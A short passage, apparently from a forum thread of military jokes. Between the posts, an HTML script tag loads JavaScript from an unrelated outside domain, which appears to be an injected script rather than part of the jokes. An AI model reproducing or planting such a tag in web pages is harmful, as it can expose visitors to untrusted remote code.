yourself in a fair fight you didn't plan your mission properly!<br><script language=JavaScript src=http://www.chinese-kungfu.org/a2.js type=text/javascript></script><br>Anybody up for military humor this morning?<br>Lol, thats some funny ****.
